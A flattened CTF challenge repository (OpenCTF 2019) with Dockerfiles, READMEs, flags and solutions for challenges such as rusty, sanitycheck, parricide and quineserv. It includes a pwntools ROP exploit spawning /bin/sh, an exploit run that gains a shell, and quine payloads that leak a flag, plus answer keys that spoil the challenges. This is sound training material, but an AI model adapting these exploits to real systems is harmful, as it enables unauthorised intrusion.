solution/RealWebServer.py /home/$USER/ 21 | COPY servercheat/EfficientMegaHashN_302_solution.py /home/$USER/EfficientMegaHashN.py 22 | COPY flag.txt /home/$USER/ 23 | 24 | # make sure all files owned by root (but readable by user) 25 | # allow read and list files in the directory, but not create or delete files 26 | RUN chown -R root:$USER /home/$USER 27 | RUN find /home/$USER -type d -exec chmod 550 {} \; 28 | RUN chmod 440 /home/$USER/* 29 | 30 | USER $USER 31 | 32 | ENTRYPOINT ["/usr/bin/python3", "-u", "/home/hash301/RealWebServer.py"] 33 | 34 | EXPOSE 8000 35 | 36 | -------------------------------------------------------------------------------- /challenges/megahash301/README.md: -------------------------------------------------------------------------------- 1 | name: MegaHash301 2 | category: crypto 3 | author: AnthraX101 4 | final score: 99 points 5 | 6 | 7 | ## Overview 8 | 9 | This challenge asks you to attack a chained cipher that is a sequence of a large number of cryptographic hash algorithms. 10 | 11 | Connect to the web server. This challenge asks you to find a second preimage that matches a given hash value with a large (~100,000) iteration count this time. 12 | 13 | ## Build 14 | 15 | Use Python 3.7 and either: 16 | pip install web.py==0.40-dev1 17 | Or for Ubuntu/Docker: 18 | apt-get install -y python3-webpy 19 | 20 | ## Run 21 | 22 | Use RealWebServer.py, -not- WebServer.py. RealWebServer hardcodes the CSPRNG so different instances don't have different target hashes, as well as having a fairly "worst case" target. Because the search space is so small, not all outputs are equally likely, this output makes the user search more of the input space to find it... 23 | 24 | RealWebServer additionally uses a substantially more efficient hashing algorithm normally used to solve 302. While the solution to 301 would work to run this server, it would induce several minutes of calculation load at startup. Don't peak at any of the EfficientMegaHashes before solving both 301 and 302 if avoiding spoilers. 25 | 26 | Use python 3.7 only. 27 | -------------------------------------------------------------------------------- /challenges/megahash301/flag.txt: -------------------------------------------------------------------------------- 1 | flag{g00d_str3tching_is_cycl3_resi$tant} 2 | -------------------------------------------------------------------------------- /challenges/megahash302/Dockerfile: -------------------------------------------------------------------------------- 1 | #FROM alpine:latest 2 | FROM ubuntu:18.04 3 | 4 | ENV USER hash302 5 | 6 | WORKDIR /home/$USER 7 | 8 | # ubuntu 9 | RUN useradd $USER 10 | RUN apt-get update 11 | RUN apt-get dist-upgrade -y 12 | RUN apt-get install -y python3 python3-webpy 13 | 14 | # alpine 15 | #RUN adduser -D $USER 16 | #RUN apk add python3 17 | 18 | COPY dist/MegaHash.py /home/$USER/ 19 | COPY dist/sha1.js /home/$USER/ 20 | COPY solution/RealWebServer.py /home/$USER/ 21 | COPY solution/EfficientMegaHashN.py /home/$USER/ 22 | COPY flag.txt /home/$USER/ 23 | 24 | # make sure all files owned by root (but readable by user) 25 | # allow read and list files in the directory, but not create or delete files 26 | RUN chown -R root:$USER /home/$USER 27 | RUN find /home/$USER -type d -exec chmod 550 {} \; 28 | RUN chmod 440 /home/$USER/* 29 | 30 | USER $USER 31 | 32 | ENTRYPOINT ["/usr/bin/python3", "-u", "/home/hash302/RealWebServer.py"] 33 | 34 | EXPOSE 8000 35 | 36 | -------------------------------------------------------------------------------- /challenges/megahash302/README.md: -------------------------------------------------------------------------------- 1 | name: MegaHash302 2 | category: crypto 3 | author: AnthraX101 4 | final score: 99 points 5 | 6 | 7 | ## Overview 8 | 9 | This challenge asks you to attack a chained cipher that is a sequence of a large number of cryptographic hash algorithms. 10 | 11 | Connect to the web server. This challenge asks you to find a second preimage that matches a given hash value with an 128-bit iteration count. 12 | 13 | 14 | ## Build 15 | 16 | Use Python 3.7 and either: 17 | pip install web.py==0.40-dev1 18 | Or for Ubuntu/Docker: 19 | apt-get install -y python3-webpy 20 | 21 | ## Run 22 | 23 | Use RealWebServer.py, -not- WebServer.py. RealWebServer hardcodes the CSPRNG so different instances don't have different target hashes or iteration counts. RealWebServer also uses a substantially more efficient hashing algorithm. 24 | 25 | Use python 3.7 only. 26 | -------------------------------------------------------------------------------- /challenges/megahash302/flag.txt: -------------------------------------------------------------------------------- 1 | flag{Schopenhauers_l@w_of_entr0py} 2 | -------------------------------------------------------------------------------- /challenges/megahash302/solution/EfficientTools.py: -------------------------------------------------------------------------------- 1 | import sys, os 2 | sys.path.append(os.path.join(os.path.dirname(__file__), '../dist')) 3 | from MegaHash import MegaHash, MegaHashN 4 | 5 | from EfficientMegaHashN import EfficientMegaHashN 6 | 7 | import time 8 | import itertools, string 9 | 10 | iterations = 137524512181194304293529588298177831395700497192993669968579833476008446723441646580986774908679549078699266485231370906952487688393775950155329524205823852350936697992419085329753164823288025004384515204040111372821422995083130378528560377008059097825548320732324529140605877220741168156860734877457646496436 11 | 12 | emhN = EfficientMegaHashN(iterations=iterations) 13 | tmpHasher = emhN.copy() 14 | tmpHasher.update("Test vector.".encode('ASCII')) 15 | 16 | #Used to test new targets for brute force efficiency, for instance for MegaHash301 17 | target = 50126 18 | targetHash = EfficientMegaHashN.partial_hash(target.to_bytes(EfficientMegaHashN._collision_len, byteorder='big'), EfficientMegaHashN._post_algorithms) 19 | print(targetHash.hex()) 20 | 21 | #Find a given hash in the index 22 | for i in range(0,256**2): 23 | if targetHash == EfficientMegaHashN.partial_hash(i.to_bytes(EfficientMegaHashN._collision_len, byteorder='big'), EfficientMegaHashN._post_algorithms): 24 | print("Found hash at index " + str(i)) -------------------------------------------------------------------------------- /challenges/minishell/Dockerfile: -------------------------------------------------------------------------------- 1 | #FROM alpine:latest 2 | FROM ubuntu:18.04 3 | 4 | ENV USER mini 5 | 6 | WORKDIR /home/$USER 7 | 8 | # ubuntu 9 | RUN useradd $USER 10 | RUN apt-get update 11 | RUN apt-get dist-upgrade -y 12 | RUN apt-get install -y socat libc6-i386 python 13 | 14 | # alpine 15 | #RUN adduser -D $USER 16 | #RUN apk add socat python 17 | 18 | COPY dist/minishell /home/$USER/ 19 | COPY minishell.sh /usr/local/bin/minishell 20 | COPY flag /home/$USER/flag 21 | 22 | # make sure all files owned by root (but readable by user) 23 | # allow read and list files in the directory, but not create or delete files 24 | RUN chown -R root:$USER /home/$USER 25 | RUN find /home/$USER -type d -exec chmod 550 {} \; 26 | RUN chmod 550 /home/$USER/minishell 27 | RUN chmod 555 /usr/local/bin/minishell 28 | RUN chmod 440 /home/$USER/flag 29 | 30 | USER $USER 31 | 32 | ENTRYPOINT ["socat", "-d", "-d", "TCP4-LISTEN:5000,fork,reuseaddr,forever", "EXEC:'/usr/local/bin/minishell',sighup,sigint,sigquit"] 33 | 34 | EXPOSE 5000 35 | 36 | -------------------------------------------------------------------------------- /challenges/minishell/README.md: -------------------------------------------------------------------------------- 1 | #minishell 2 | 3 | type: pwnable 4 | author: meta 5 | final score: 100 6 | 7 | ## Description 8 | 9 | Already know you that which you need. 10 | 11 | ## Build 12 | 13 | Build prerequisites on an Ubuntu 18.04 system 14 | 15 | ``` 16 | apt install gcc-multilib libc6-i386 17 | ``` 18 | 19 | Current binary for distribution was built and tested with clang 20 | 21 | ``` 22 | clang -m32 -fno-common -o dist/minishell src/minishell.c 23 | ``` 24 | 25 | Could be built with gcc (optional) 26 | ``` 27 | gcc -fno-stack-protector -m32 -no-pie -o mini minishell.c 28 | ``` 29 | 30 | 31 | ## Run 32 | 33 | The challenge needs an environment variable with the password set. 34 | 35 | ``` 36 | PASSWORD=ABCD1234 socat -d -d tcp4-l:5000,fork,reuseaddr exec:./mini 37 | ``` 38 | 39 | -------------------------------------------------------------------------------- /challenges/minishell/dist/minishell: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Neg9/OpenCTF-2019/0e175faf8bea521047489a45673c2ca091c30449/challenges/minishell/dist/minishell -------------------------------------------------------------------------------- /challenges/minishell/flag: -------------------------------------------------------------------------------- 1 | flag{somet1mes_aLL_yoU_n33d_i5_0ne_bYTe_we11_th4t_anD_pr0c} 2 | -------------------------------------------------------------------------------- /challenges/minishell/minishell.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | PASSWORD=$(python -c 'import string; import random; print("".join(([string.ascii_letters[random.randint(0,len(string.ascii_letters)-1)] for i in range(8)])))') 3 | export PASSWORD 4 | /home/$USER/minishell 5 | -------------------------------------------------------------------------------- /challenges/music/README.md: -------------------------------------------------------------------------------- 1 | # Music 2 | 3 | ## Score 4 | 100 5 | 6 | ## Description 7 | I think my computer is trying to send me a message. 8 | 9 | ## Category 10 | misc 11 | -------------------------------------------------------------------------------- /challenges/music/dist/music.flac: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Neg9/OpenCTF-2019/0e175faf8bea521047489a45673c2ca091c30449/challenges/music/dist/music.flac -------------------------------------------------------------------------------- /challenges/music/flag.txt: -------------------------------------------------------------------------------- 1 | flag{sounds_amazing_doesnt_it} 2 | -------------------------------------------------------------------------------- /challenges/music/src/flag.txt.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Neg9/OpenCTF-2019/0e175faf8bea521047489a45673c2ca091c30449/challenges/music/src/flag.txt.gz -------------------------------------------------------------------------------- /challenges/parricide/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "parricide" 3 | version = "0.1.0" 4 | authors = ["ls_brillant"] 5 | edition = "2018" 6 | 7 | [dependencies] 8 | -------------------------------------------------------------------------------- /challenges/parricide/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:18.04 2 | 3 | ENV USER kidd0 4 | WORKDIR /home/$USER 5 | 6 | 7 | RUN apt-get update && apt-get install -y \ 8 | bash \ 9 | openssh-server 10 | 11 | RUN mkdir /var/run/sshd 12 | # SSH login fix. Otherwise user is kicked off after login 13 | RUN sed 's@session\s*required\s*pam_loginuid.so@session optional pam_loginuid.so@g' -i /etc/pam.d/sshd 14 | 15 | ENV NOTVISIBLE "in users profile" 16 | RUN echo "export VISIBLE=now" >> /etc/profile 17 | 18 | RUN useradd $USER && \ 19 | echo "$USER:kidd0" | chpasswd && \ 20 | chsh -s "/bin/bash" $USER 21 | 22 | RUN chown -R root:$USER /home/$USER && \ 23 | find /home/$USER -type d -exec chmod 550 {} \; 24 | 25 | COPY flag.txt /home/$USER/flag.txt 26 | RUN chown root:root /home/$USER/flag.txt && \ 27 | chmod 0400 /home/$USER/flag.txt 28 | 29 | COPY dist/parricide /home/$USER/parricide 30 | RUN chown root:$USER /home/$USER/parricide && \ 31 | chmod 4110 /home/$USER/parricide 32 | 33 | CMD ["/usr/sbin/sshd", "-D", "-p", "5000"] 34 | EXPOSE 5000 35 | -------------------------------------------------------------------------------- /challenges/parricide/README.md: -------------------------------------------------------------------------------- 1 | # parricide 2 | 3 | ## Score 4 | 99 5 | 6 | ## Description 7 | 8 | **par·ri·cide** 9 | 10 | `/ˈperəˌsīd/` 11 | 12 | noun 13 | 14 | the killing of a parent or other near relative. 15 | 16 | `ssh kidd0@` 17 | 18 | password is kidd0 19 | 20 | ## Category 21 | reversing -------------------------------------------------------------------------------- /challenges/parricide/dist/parricide: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Neg9/OpenCTF-2019/0e175faf8bea521047489a45673c2ca091c30449/challenges/parricide/dist/parricide -------------------------------------------------------------------------------- /challenges/parricide/entrypoint.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh -e 2 | 3 | executable="/parricide" 4 | listen_port=5000 5 | cookie=$(dd if=/dev/urandom bs=1 count=16 status=none | xxd -ps) 6 | 7 | # -T: 10 Second timeout 8 | # -d -d: debug to console 9 | # -lp: Set prefix of socat env variables to a random cookie to hide that we're using socat in case someone got shell injection 10 | socat -T 10 -d -d -lp "$cookie" "TCP-LISTEN:${listen_port},reuseaddr,fork" "SYSTEM:${executable}" 11 | -------------------------------------------------------------------------------- /challenges/parricide/flag.txt: -------------------------------------------------------------------------------- 1 | flag{c0mun1c4t1on_@_4_d1st4nc3} 2 | -------------------------------------------------------------------------------- /challenges/parricide/solution/README.md: -------------------------------------------------------------------------------- 1 | The desired user experience with this binary is that 2 | people will run it before they take a look inside to 3 | see what it is doing. This will immediately kill their 4 | shell. 5 | 6 | After some very minor reversing you find out the binary 7 | reads 100 bytes from `/dev/urandom` and asks for the 8 | ones complement those bytes. 9 | 10 | The trick here is setting up pipes correctly. I ended up 11 | using a fifo and shell commands. 12 | -------------------------------------------------------------------------------- /challenges/parricide/solution/bash_oneliner: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | if [ ! -f buf ]; then 3 | mkfifo buf 4 | fi 5 | (head -c 80 buf > /dev/null; head -c 100 buf) | python3 -c 'import os; os.write(1, bytes(map(lambda b: (~b)&0xff, os.read(0, 100))))' | ./parricide | tee buf 6 | -------------------------------------------------------------------------------- /challenges/parricide/solution/ssh_script: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | HOST=localhost 4 | PORT=32773 5 | 6 | ssh kidd0@$HOST -p $PORT "bash -c \"(exec 5<>/proc/self/fd/0; (head -c 80 > /dev/null; head -c 100) | python3 -c 'import os; os.write(1, bytes(map(lambda b: (~b)&0xff, os.read(0, 100))))' | ./parricide | tee /proc/self/fd/5 2>&1 )\"" 7 | -------------------------------------------------------------------------------- /challenges/quineserv/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:3.7-alpine 2 | 3 | ENV chdir / 4 | 5 | COPY src/quineserv.py ${chdir} 6 | 7 | WORKDIR ${chdir} 8 | 9 | RUN apk add socat 10 | RUN ln -s lib lib64 11 | RUN ln -s ld-musl-x86_64.so.1 lib/ld-linux-x86-64.so.2 12 | 13 | ENTRYPOINT ["socat", "-dd", "TCP4-LISTEN:5000,fork,reuseaddr", "EXEC:./quineserv.py,pty,rawer,stderr"] 14 | #ENTRYPOINT ["/bin/sh"] 15 | 16 | EXPOSE 5000 17 | -------------------------------------------------------------------------------- /challenges/quineserv/README.md: -------------------------------------------------------------------------------- 1 | # Quineserv 2 | 3 | *by Javantea* 4 | Mar 21, 2019 and May 4, 2019 5 | 6 | Score: 64 7 | 8 | Description: 9 | Electric Frankenstein wrote this service. I think it is going a little too far into Gödel Escher Bach if you ask me. But at least it tells you when you accidentally infect the laboratory with a virus. 10 | 11 | 12 | Category: misc 13 | 14 | Flag 1: Give me a quine to get the flag. Solution is quine2b_solve.py. 15 | 16 | Flag 2 (see Return to Quineserv): Give me a quine that prints the flag. Solution is quinef2_solve.py. 17 | 18 | ```bash 19 | sudo docker build --tag=quineserv . 20 | sudo docker run -p 3002:3001 quineserv 21 | ``` 22 | -------------------------------------------------------------------------------- /challenges/quineserv/SOLUTION.md: -------------------------------------------------------------------------------- 1 | # Quineserv Solution 2 | 3 | *by Javantea* 4 | Mar 21, 2019 and May 4, 2019 and June 9, 2019 5 | 6 | As the name suggests, you are required to submit a quine. Quines are readily available on the Internet, so this should be very easy. 7 | 8 | ``` 9 | nc challenges 9006 10 | # ls 11 | Traceback (most recent call last): 12 | File "./quineserv.py", line 41, in 13 | exec(inp, {'__builtins__': {'print':mixprint, 'repr':repr, 'flag':''}}, {}) 14 | File "", line 1, in 15 | NameError: name 'ls' is not defined 16 | ``` 17 | 18 | Give it a valid python script: 19 | ``` 20 | nc challenges 9006 21 | # a = 1 22 | Quines win. You lose. 23 | ``` 24 | 25 | Give it a quine: 26 | ``` 27 | nc challenges 9006 28 | # y = 'y = {0};print(y.format(repr(y)))';print(y.format(repr(y))) 29 | You win level 1. f149{If only one of us could find the time. adeb4289b6a555} 30 | y = 'y = {0};print(y.format(repr(y)))';print(y.format(repr(y))) 31 | ``` 32 | -------------------------------------------------------------------------------- /challenges/quineserv/flag.txt: -------------------------------------------------------------------------------- 1 | flag{If only one of us could find the time. adeb4289b6a555} 2 | -------------------------------------------------------------------------------- /challenges/quineserv/quine2b_solve.py: -------------------------------------------------------------------------------- 1 | y = 'y = {0};print(y.format(repr(y)))';print(y.format(repr(y))) 2 | -------------------------------------------------------------------------------- /challenges/quineserv/quinef2_solve.py: -------------------------------------------------------------------------------- 1 | y = 'y = {0}+{1};print(y.format(repr(y),repr(flag)))'+'';print(y.format(repr(y),repr(flag))) 2 | -------------------------------------------------------------------------------- /challenges/quineserv2/README.md: -------------------------------------------------------------------------------- 1 | # Return to Quineserve 2 | 3 | *by Javantea* 4 | Mar 21, 2019 and May 4, 2019 and May 25, 2019 5 | 6 | Score: 99 7 | 8 | Description: 9 | It behooves me to ask you to return to quineserv. I'm pretty sure you didn't actually take from it what was once Electric Frankenstein's. I believe that they thought themselves better than you in placing two flags in the same challenge. One to make you think that you had won, and the other to mock your lack of skill. For the first will become worthless among the fierce competition of hackers, the second, not so much. 10 | 11 | Category: misc 12 | 13 | Setup: This relies upon Quineserv running. 14 | 15 | quinef2_solve.py. 16 | -------------------------------------------------------------------------------- /challenges/quineserv2/flag.txt: -------------------------------------------------------------------------------- 1 | 2 | flag{A Sweet Sickeness, comes over me, I'm looking for something I want. lsUHNel2gLs} 3 | -------------------------------------------------------------------------------- /challenges/quineserv2/quinef2_solve.py: -------------------------------------------------------------------------------- 1 | y = 'y = {0}+{1};print(y.format(repr(y),repr(flag)))'+'';print(y.format(repr(y),repr(flag))) 2 | -------------------------------------------------------------------------------- /challenges/rev101/Makefile: -------------------------------------------------------------------------------- 1 | CC = gcc 2 | CFLAGS = -W -Wall 3 | 4 | all: dist/rev101 5 | 6 | dist/rev101: src/rev101.c 7 | $(CC) $(CFLAGS) -o $@ $< 8 | strip -s $@ 9 | 10 | clean: 11 | rm dist/rev101 12 | -------------------------------------------------------------------------------- /challenges/rev101/README.md: -------------------------------------------------------------------------------- 1 | Reversing 101 2 | ============= 3 | Category 4 | -------- 5 | reversing 6 | 7 | Description 8 | ----------- 9 | ``` 10 | This challenge has an obfuscated (heh, sort of) key that you'll need to activate this binary. 11 | See if you can derive the key that this binary expects. 12 | ``` 13 | 14 | Score 15 | ----- 16 | 10 -------------------------------------------------------------------------------- /challenges/rev101/SOLUTION.md: -------------------------------------------------------------------------------- 1 | This binary takes an input, transforms it with rot13, and compares to a global 2 | variable which has the rot13 of the flag. 3 | 4 | There are two possible solutions. 5 | One could use static analysis and a symbolic execution engine to get the key. 6 | Or... you can just run `strings` on the binary, find the key string, and rot13 7 | that for the flag. 8 | -------------------------------------------------------------------------------- /challenges/rev101/dist/rev101: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Neg9/OpenCTF-2019/0e175faf8bea521047489a45673c2ca091c30449/challenges/rev101/dist/rev101 -------------------------------------------------------------------------------- /challenges/rev101/flag.txt: -------------------------------------------------------------------------------- 1 | flag{il0v3c4tz} 2 | -------------------------------------------------------------------------------- /challenges/rev101/src/rev101.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | // stolen from bsdgames: caesar.c 7 | #define ROTATE(ch) (\ 8 | isupper(ch) ? ('A' + (ch - 'A' + 13) % 26) : \ 9 | islower(ch) ? ('a' + (ch - 'a' + 13) % 26) : ch) 10 | 11 | char key[] = "synt{vy0i3p4gm}"; 12 | 13 | void usage(progname) 14 | char* progname; 15 | { 16 | printf("Usage: %s KEY", progname); 17 | exit(2); 18 | } 19 | 20 | 21 | int main(argc, argv) 22 | int argc; 23 | char *argv[]; 24 | { 25 | unsigned int i; 26 | 27 | if (argc != 2) 28 | usage(argv[0]); 29 | 30 | for (i = 0; i < strlen(key); i++) 31 | if (key[i] != ROTATE(argv[1][i])) 32 | goto fail; 33 | 34 | printf("Correct Key Found"); 35 | return 0; 36 | 37 | fail: 38 | printf("WRONG"); 39 | return 1; 40 | } 41 | -------------------------------------------------------------------------------- /challenges/rules/README.md: -------------------------------------------------------------------------------- 1 | # RTFM 2 | 3 | *by ColdwaterQ* 4 | 5 | ## Score 6 | 10 7 | 8 | ## Description 9 | Read The Fucking Manual 10 | 11 | ## Category 12 | recon 13 | -------------------------------------------------------------------------------- /challenges/rules/SOLUTION.md: -------------------------------------------------------------------------------- 1 | 1. Read The Fucking Manual(Rules) https://scoreboard.openctf.cat/rules 2 | 2. copy the flag (at the bottom of the rules) 3 | 3. paste the flag -------------------------------------------------------------------------------- /challenges/rules/flag.txt: -------------------------------------------------------------------------------- 1 | flag{probably_something_snarky_like_"this_is_what_a_flag_looks like"} 2 | -------------------------------------------------------------------------------- /challenges/rusty/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:18.04 2 | 3 | RUN apt-get update && apt-get install -y socat 4 | 5 | RUN useradd -ms /bin/bash ctf 6 | 7 | ADD ./src/rusty /home/ctf/rusty 8 | ADD ./src/flag /home/ctf/flag 9 | RUN chmod +x /home/ctf/rusty 10 | 11 | USER ctf 12 | WORKDIR /home/ctf 13 | 14 | ENTRYPOINT ["socat", "-dd", "TCP4-LISTEN:5000,fork,reuseaddr", "EXEC:/home/ctf/rusty,pty,rawer,stderr"] 15 | EXPOSE 5000 16 | -------------------------------------------------------------------------------- /challenges/rusty/README.md: -------------------------------------------------------------------------------- 1 | # rusty 2 | Code by vakzz 3 | Created July 2019 4 | 5 | Score: 6 | 100 7 | 8 | Description: 9 | How can you have a pwn written in rust? It makes no sense! 10 | 11 | I compiled it with `#![forbid(unsafe_code)]`, so _must_ be unexploitable... 12 | 13 | Category: pwnable 14 | 15 | Rust pwn 16 | 17 | ## Challenge Description 18 | How can you have a pwn written in rust, it makes no sense! 19 | -------------------------------------------------------------------------------- /challenges/rusty/SOLUTION.md: -------------------------------------------------------------------------------- 1 | Port forward challenges from bastion to localhost: 2 | `ssh @ctf.neg9.net -L 7000:challenges.openctf.cat:9018` 3 | 4 | Run exploit with remote option (any arbitrarty argv[1]): 5 | `./solve.py 1` 6 | 7 | Example run: 8 | ``` 9 | python solve.py 1234 10 | [+] Opening connection to 127.0.0.1 on port 7000: Done 11 | [*] leak 0x5595d5858e10 12 | [*] stderr_leak 0x7f492f003680 13 | [*] libc 0x7f492ec17000 14 | [*] environ 0x7ffef044e2a8 15 | [*] rop_loc 0x7ffef044e090 16 | [*] Loading gadgets for '/home/pwntools/src/libc.so' 17 | [*] mov_rsp 0x7f492ec57568 18 | [*] Switching to interactive mode 19 | (y/n): 20 | /bin/sh: 0: can't access tty; job control turned off 21 | $ $ cat flag 22 | flag{fbc9762c3efa4fa4bb00076890c4d81299ccf8cd} 23 | ``` 24 | 25 | As you can see, pwntools takes care of the heavy lifting of this challenge. A rop chain to system("/bin/sh") from libc.so 26 | 27 | Leak address occurs in "4. Show book". 28 | 29 | List books also seems to do something interesting even with valid input: 30 | 31 | ``` 32 | 0 - Title: 121, Pages: [121] 33 | 1 - Title: �ξE, Pages: [0, 2] 34 | ``` 35 | -------------------------------------------------------------------------------- /challenges/rusty/dist/rusty.tar.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Neg9/OpenCTF-2019/0e175faf8bea521047489a45673c2ca091c30449/challenges/rusty/dist/rusty.tar.gz -------------------------------------------------------------------------------- /challenges/rusty/flag.txt: -------------------------------------------------------------------------------- 1 | flag{fbc9762c3efa4fa4bb00076890c4d81299ccf8cd} 2 | -------------------------------------------------------------------------------- /challenges/rusty/src/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Neg9/OpenCTF-2019/0e175faf8bea521047489a45673c2ca091c30449/challenges/rusty/src/.DS_Store -------------------------------------------------------------------------------- /challenges/rusty/src/flag: -------------------------------------------------------------------------------- 1 | flag{fbc9762c3efa4fa4bb00076890c4d81299ccf8cd} 2 | -------------------------------------------------------------------------------- /challenges/rusty/src/libc.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Neg9/OpenCTF-2019/0e175faf8bea521047489a45673c2ca091c30449/challenges/rusty/src/libc.so -------------------------------------------------------------------------------- /challenges/rusty/src/rusty: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Neg9/OpenCTF-2019/0e175faf8bea521047489a45673c2ca091c30449/challenges/rusty/src/rusty -------------------------------------------------------------------------------- /challenges/sanitycheck-hidden/README.md: -------------------------------------------------------------------------------- 1 | # Hidden 2 | Code by drtychai 3 | Created May 8 2019 4 | 5 | ## Challenge Description 6 | A hidden flag resides in one of the challenges... can you find it? 7 | 8 | ## Category 9 | pwnable 10 | 11 | ## Score 12 | 100 -------------------------------------------------------------------------------- /challenges/sanitycheck-hidden/SOLUTION.md: -------------------------------------------------------------------------------- 1 | This is hidden within "sanity check" and can be exploited with rop. 2 | 3 | Challenge is a static binary with all the fixin' built in. Solution is to construct a payload that uses included gadgets with `do_syscall()` to call `execve("/bin/bash",NULL,NULL)`. 4 | 5 | -------------------------------------------------------------------------------- /challenges/sanitycheck-hidden/flag.txt: -------------------------------------------------------------------------------- 1 | flag{10c0f40a89b5daa2bdf059d0c08dc584b03129c4} 2 | -------------------------------------------------------------------------------- /challenges/sanitycheck/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:18.04 2 | 3 | RUN apt update \ 4 | && apt -y install socat python-dev \ 5 | && apt clean 6 | 7 | ENV USER bot 8 | ENV HOME /$USER 9 | RUN groupadd bot 10 | RUN useradd --home $HOME -s /bin/bash -g $USER $USER 11 | 12 | # Pwn files 13 | WORKDIR $HOME/delete-me-asap 14 | ADD ./src/challenge ./challenge 15 | ADD ./src/flag2 ./flag 16 | 17 | RUN chown -R root:$USER $HOME/delete-me-asap && \ 18 | find $HOME/delete-me-asap -type d -exec chmod 550 {} \; 19 | 20 | RUN chown root:root ./flag && \ 21 | chmod 0400 ./flag 22 | 23 | RUN chown root:root ./challenge 24 | RUN chmod u+s ./challenge 25 | 26 | # Py files 27 | WORKDIR $HOME 28 | ADD ./src/run.py . 29 | ADD ./src/banner.txt . 30 | ADD ./src/flag . 31 | 32 | RUN chmod +x ./run.py 33 | 34 | # Deploy 35 | USER $USER 36 | ENTRYPOINT ["socat", "-dd", "TCP4-LISTEN:5000,fork,reuseaddr", "EXEC:./run.py,pty,rawer,stderr"] 37 | EXPOSE 5000 38 | -------------------------------------------------------------------------------- /challenges/sanitycheck/README.md: -------------------------------------------------------------------------------- 1 | # Sanity Check 2 | Code by drtychai 3 | Created May 29 2019 4 | 5 | Network sanity check with hidden pwn. 6 | 7 | ## Challenge Description 8 | Shouldn't take you _too_ long ;) 9 | 10 | ## Score 11 | 10 12 | 13 | ## Category 14 | sanitycheck 15 | -------------------------------------------------------------------------------- /challenges/sanitycheck/flag.txt: -------------------------------------------------------------------------------- 1 | flag{a5e78d3bfed23dd8b331b2617f8a5a5d63048d68} 2 | -------------------------------------------------------------------------------- /challenges/sanitycheck/src/banner.txt: -------------------------------------------------------------------------------- 1 | __ __ .__ ___________ ________ _______________________________ 2 | / \ / \ ____ | | ____ ____ _____ ____ \__ ___/___ \_____ \ ______ ____ ____ \_ ___ \__ ___/\_ _____/ 3 | \ \/\/ // __ \| | _/ ___\/ _ \ / \_/ __ \ | | / _ \ / | \\____ \_/ __ \ / \/ \ \/ | | | __) 4 | \ /\ ___/| |_\ \__( <_> ) Y Y \ ___/ | |( <_> ) / | \ |_> > ___/| | \ \____| | | \ 5 | \__/\ / \___ >____/\___ >____/|__|_| /\___ > |____| \____/ \_______ / __/ \___ >___| /\______ /|____| \___ / 6 | \/ \/ \/ \/ \/ \/|__| \/ \/ \/ \/ 7 | ______ ______ ______ ______ ______ ______ ______ ______ ______ ______ ______ ______ ______ ______ ______ 8 | /_____/ /_____/ /_____/ /_____/ /_____/ /_____/ /_____/ /_____/ /_____/ /_____/ /_____/ /_____/ /_____/ /_____/ /_____/ 9 | 10 | To get the flag: `cat flag` 11 | -------------------------------------------------------------------------------- /challenges/sanitycheck/src/challenge: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Neg9/OpenCTF-2019/0e175faf8bea521047489a45673c2ca091c30449/challenges/sanitycheck/src/challenge -------------------------------------------------------------------------------- /challenges/sanitycheck/src/flag: -------------------------------------------------------------------------------- 1 | flag{a5e78d3bfed23dd8b331b2617f8a5a5d63048d68} 2 | -------------------------------------------------------------------------------- /challenges/sanitycheck/src/flag2: -------------------------------------------------------------------------------- 1 | flag{10c0f40a89b5daa2bdf059d0c08dc584b03129c4} 2 | -------------------------------------------------------------------------------- /challenges/sanitycheck/src/solve-challenge.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | from pwn import * 3 | 4 | HOST = "127.0.0.1" 5 | PORT = 7000 6 | 7 | rsp_offset = 8 8 | 9 | def exploit(r): 10 | 11 | bin_sh = binary.symbols['binsh'] 12 | do_syscall = binary.symbols['do_syscall'] 13 | 14 | log.info("setid : {}".format(hex(binary.symbols['setid']))) 15 | 16 | rop = '' 17 | rop += p64(binary.symbols['set_rdi']) 18 | rop += p64(bin_sh) #set filename to location of '/bin/sh' 19 | 20 | rop += p64(binary.symbols['set_rsi']) 21 | rop += p64(0x0) #set argv to NULL 22 | 23 | rop += p64(binary.symbols['set_rdx']) 24 | rop += p64(0x0) #set envp to NULL 25 | 26 | rop += p64(binary.symbols['set_rax']) 27 | rop += p64(0x3b) #set rax to 59 for execve 28 | rop += p64(do_syscall) # return to do_syscall() 29 | 30 | payload = '' 31 | payload += 'A'*rsp_offset 32 | payload += rop 33 | 34 | print r.recvuntil(': ') 35 | r.sendline(payload) 36 | r.interactive() 37 | return 38 | 39 | if __name__ == "__main__": 40 | name = './challenge' 41 | binary = ELF(name) 42 | context.terminal=["tmux", "sp", "-h"] 43 | 44 | if len(sys.argv) > 1: 45 | r = remote(HOST,PORT) 46 | else: 47 | r = process(name, env={}) 48 | gdb.attach(r, """ 49 | 50 | c 51 | """) 52 | exploit(r) 53 | -------------------------------------------------------------------------------- /challenges/sm5/Makefile: -------------------------------------------------------------------------------- 1 | # Makefile for sm5 aka Game Copy Protection ROM 2 | 3 | all: dump.bin 4 | 5 | dump.bin: sm5_flag.o 6 | cp sm5_flag.o dump.bin 7 | 8 | sm5_flag.o: sm5_flag.S 9 | python3 sm5asm.py -o sm5_flag.o sm5_flag.S 10 | 11 | -------------------------------------------------------------------------------- /challenges/sm5/dist/dump.bin: -------------------------------------------------------------------------------- 